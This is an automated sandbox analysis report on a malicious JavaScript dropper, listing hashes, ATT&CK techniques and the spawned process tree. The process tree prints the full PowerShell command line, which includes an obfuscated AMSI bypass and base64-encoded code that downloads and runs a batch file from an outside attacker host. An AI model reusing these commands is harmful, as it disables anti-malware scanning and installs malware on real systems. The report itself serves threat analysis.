bc27b3afc72c925df021166fccc262ccf75e2be6f8b04c6772ed36ee8d5a1de0

Analysis

max time kernel
149s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20250129-en
resource tags

arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system
submitted
07/02/2025, 05:14

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General

Target

cd123c288f623878218be31125000441bb8c5447375af67bc3c1d27d16eb5f8c.js
Size

10KB
MD5

14b3fe437467996209704e6ebaac0f0a
SHA1

76352226e921e8cf57746c551735cd913c3e45c8
SHA256

cd123c288f623878218be31125000441bb8c5447375af67bc3c1d27d16eb5f8c
SHA512

a4bbc226b4e35afa37702d852325a83103570b01ed76b151ab05a1f96ff855fa12579836dea116e5a9e64bbec63606773ac49ac3b2147a2cd001f46e4d8f93de
SSDEEP

192:mpu81rs1WEVHAq/azhC8bw33tDMRI7xxYG8N0vJod67czsGSVXi:mU81rW1lTyzM33du0viCczSXi

Score

7^/10

defense_evasion execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4003209913-3868522715-854928974-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4003209913-3868522715-854928974-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2624	powershell.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4003209913-3868522715-854928974-1000_Classes\Local Settings	wscript.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2624	powershell.exe
2624	powershell.exe
968	powershell.exe
968	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2624	powershell.exe
Token: SeDebugPrivilege	968	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2140 wrote to memory of 3748	2140	wscript.exe	84
PID 2140 wrote to memory of 3748	2140	wscript.exe	84
PID 3748 wrote to memory of 2624	3748	WScript.exe	85
PID 3748 wrote to memory of 2624	3748	WScript.exe	85
PID 2624 wrote to memory of 968	2624	powershell.exe	92
PID 2624 wrote to memory of 968	2624	powershell.exe	92

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\cd123c288f623878218be31125000441bb8c5447375af67bc3c1d27d16eb5f8c.js
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2140
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\apk.js"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:3748
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -C $FEIfwuioehfaiwyYOETWTRuwye = 'a'+'ms'+'iI'+'ni'+'tF'+'a'; $EF8034uowieypowiue = 'il'+'ed'; $Ceoiuwjoeuyfw = 'Sy'+'st'+'em.Ma'+'na'+'gem'+'ent.'+'Aut'+'omat'+'io'+'n.A'+'ms'+'iUt'+'ils'; $DFiowjhOHWOHEOUF = $null; sleep 1; $text = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('W1JlZl0uQXNzZW1ibHkuR2V0VHlwZSgkQ2VvaXV3am9ldXlmdykuR2V0RmllbGQoJEZFSWZ3dWlvZWhmYWl3eVlPRVRXVFJ1d3llICsgJEVGODAzNHVvd2lleXBvd2l1ZSwiTm9uUCIgKyAidWIiICsgImxpYyxTdCIgKyAiYXRpYyIpLlNldFZhbHVlKCRERmlvd2poT0hXT0hFT1VGLCR0cnVlKQ==')); iex $text; sleep 1;$BBQ = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String('SW52b2tlLVdlYlJlcXVlc3QgLVVyaSAiaHR0cDovL3NvdXRobGFuZGVyLnJ1L2RrbGZoZ2pkZmhnamQ3OGtoZGdmamdoL2FrdC5iYXQiIC1PdXRGaWxlICIkZW52OlRFTVBcYWt0LmJhdCI7IEludm9rZS1FeHByZXNzaW9uICIkZW52OlRFTVBcYWt0LmJhdCI7')); $CCQ = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($BBQ)); Powershell -E $CCQ
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2624
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -E SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcAA6AC8ALwBzAG8AdQB0AGgAbABhAG4AZABlAHIALgByAHUALwBkAGsAbABmAGgAZwBqAGQAZgBoAGcAagBkADcAOABrAGgAZABnAGYAagBnAGgALwBhAGsAdAAuAGIAYQB0ACIAIAAtAE8AdQB0AEYAaQBsAGUAIAAiACQAZQBuAHYAOgBUAEUATQBQAFwAYQBrAHQALgBiAGEAdAAiADsAIABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAiACQAZQBuAHYAOgBUAEUATQBQAFwAYQBrAHQALgBiAGEAdAAiADsA
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:968

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
ae343a0c544713797d1582baed41cd6c

SHA1
170efb0fbebe36a6f605c6cfd664525f1158a58e

SHA256
dbc33d6f061613aaf9ec0a3472b37ec709ac168cde70c7b48c5807765f3ed292

SHA512
68afed158e066e67d6526627ceda320e1702779b95b8fe597ef573c1be7bcef0dc19f0e6fc17e8103c16fb0aa77d83e06e5f64435100d60193e3ee72e9bbc8b5

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_js21u5gf.m0l.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\apk.js

Filesize
3KB

MD5
a56dc65b1a1a28d7bedae072e521150d

SHA1
975296e54e8f05b793187048152903ec85d21868

SHA256
2da128f83fbae17fd5eadb31bc36be585d8b7c5982355288b58c4d8a4554254e

SHA512
6e04f9a0f56990e2d534a1f9bf9ececdad03182160d6236c570181d3848cd6ea838bbeeb12a53d29ba597c8634c21fdd2614b4c10f7412afd40d89bef3f155ec

Download Submit
memory/2624-9-0x000001B5FEB30000-0x000001B5FEB52000-memory.dmp

Filesize
136KB

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